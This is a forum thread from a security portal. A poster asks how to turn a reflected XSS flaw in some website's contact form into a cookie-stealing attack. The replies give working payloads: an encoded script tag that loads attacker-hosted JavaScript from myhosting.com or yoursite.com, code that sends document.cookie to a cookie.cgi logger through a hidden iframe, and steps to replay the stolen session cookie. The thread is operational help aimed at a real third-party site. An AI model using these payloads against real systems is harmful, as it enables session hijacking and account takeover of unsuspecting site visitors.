Waraxe IT Security Portal
Login or Register
September 12, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 68
Members: 0
Total: 68
Full disclosure
CVE-2024-25286 - RedSys - A Cross-Site Request Forgery (CSRF) vulnerability was identified in the Authorization Method of 3DSecure 2.0
CVE-2024-25285 - RedSys - 3DSecure 2.0 is vulnerable to form action hijacking
CVE-2024-25284 - RedSys - Multiple reflected Cross-Site Scripting (XSS) vulnerabilities in the 3DS Authorization Method of 3DSecure 2.0
CVE-2024-25283 - RedSys - Multiple reflected Cross-Site Scripting (XSS) vulnerabilities exist in the 3DS Authorization Challenge of 3DSecure 2.0
CVE-2024-25282 - RedSys - 3DSecure 2.0 is vulnerable to Cross-Site Scripting (XSS) in its 3DSMethod Authentication
KL-001-2024-012: VICIdial Authenticated Remote Code Execution
KL-001-2024-011: VICIdial Unauthenticated SQL Injection
OXAS-ADV-2024-0005: OX App Suite Security Advisory
[SYSS-2024-030]: C-MOR Video Surveillance - OS Command Injection (CWE-78)
[SYSS-2024-029]: C-MOR Video Surveillance - Dependency on Vulnerable Third-Party Component (CWE-1395)
[SYSS-2024-028]: C-MOR Video Surveillance - Cleartext Storage of Sensitive Information (CWE-312)
[SYSS-2024-027]: C-MOR Video Surveillance - Improper Privilege Management (CWE-269)
[SYSS-2024-026]: C-MOR Video Surveillance - Unrestricted Upload of File with Dangerous Type (CWE-434)
[SYSS-2024-025]: C-MOR Video Surveillance - Relative Path Traversal (CWE-23)
Backdoor.Win32.Symmi.qua / Remote Stack Buffer Overflow (SEH)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> XSS on Forum - remote PHP shell or cookie.cgi questions
Post new topicReply to topic View previous topic :: View next topic
XSS on Forum - remote PHP shell or cookie.cgi questions
PostPosted: Thu Dec 20, 2007 1:27 am Reply with quote
onetwothree
Beginner
Beginner
Joined: Oct 20, 2007
Posts: 3




I found a website that is vulnerable to and XSS attack via a contact forum. I am able to post the following popup;

[img]>"><ScRiPt%20%0a%0d>alert(1379844939)%3B</ScRiPt>.[/img]

Now I have found a cookie logging cgi script that is in place on "my server" but I am not sure how to encode the path to my remote cookie stealer as the encoding above

My questions are these:
1.What type of encoding is the script above?
2.Can I modify the above to call a php shell (c99), or to steal vistors cookies with my cookie.cgi script

thanks in advance for help pointing me in the right direction
View user's profile Send private message
PostPosted: Thu Dec 20, 2007 3:18 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




First of all, forget c99 shell in this stage of actions. You are going to steal the cookie, so ultimate goal right now is to have user plaintext password, password hash or session ID. And if you can use this information to impersonate the victim (usually admin), them maybe you can somehow reach to php shell level.
This specific target seems to have some input filtering in place, so it probably needs some testing and probing.
My suggestion is something like

Code:

[img]>"><ScRiPt%20%0a%0dsrc%3Dhttp%3A%2F%2Fmyhosting.com%2Fjs.js></ScRiPt>.[/img]


And then put javascript file to your hosting server and that js will do the cookie stealing by image url for example.
View user's profile Send private message Send e-mail Visit poster's website
Re: XSS on Forum - remote PHP shell or cookie.cgi questions
PostPosted: Wed Mar 12, 2008 2:22 am Reply with quote
Oilik
Active user
Active user
Joined: Mar 05, 2008
Posts: 35




onetwothree wrote:
I found a website that is vulnerable to and XSS attack via a contact forum. I am able to post the following popup;

[img]>"><ScRiPt%20%0a%0d>alert(1379844939)%3B</ScRiPt>.[/img]

Now I have found a cookie logging cgi script that is in place on "my server" but I am not sure how to encode the path to my remote cookie stealer as the encoding above

My questions are these:
1.What type of encoding is the script above?
2.Can I modify the above to call a php shell (c99), or to steal vistors cookies with my cookie.cgi script

thanks in advance for help pointing me in the right direction


Since this is only XSS, you can only put client-side scripting in there. You will need to steal a cookie[mm yummy].
I suggest doing:
Code:
[img]>"><script src=http://yoursite.com/hola.js>[/img]

And in hola.js on yoursite.com, put the following code:
Code:

document.write('<iframe src="http://yoursite.com/cookie.cgi?cookie=' + document.cookie + '" border="0" height="0px" width="0px"></iframe>');

Not the best way to do it, but gets the job done.

Then once you have the cookie[if you have firefox get AnEC, and just edit the values or add them, and ignore this]:
go to your browser and put:
Code:
javascript:void(document.cookie='cookie=here');
or something like that, I suggest 1 cookie at a time.
View user's profile Send private message
XSS on Forum - remote PHP shell or cookie.cgi questions
www.waraxe.us Forum Index -> Cross-site scripting aka XSS
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.127 Seconds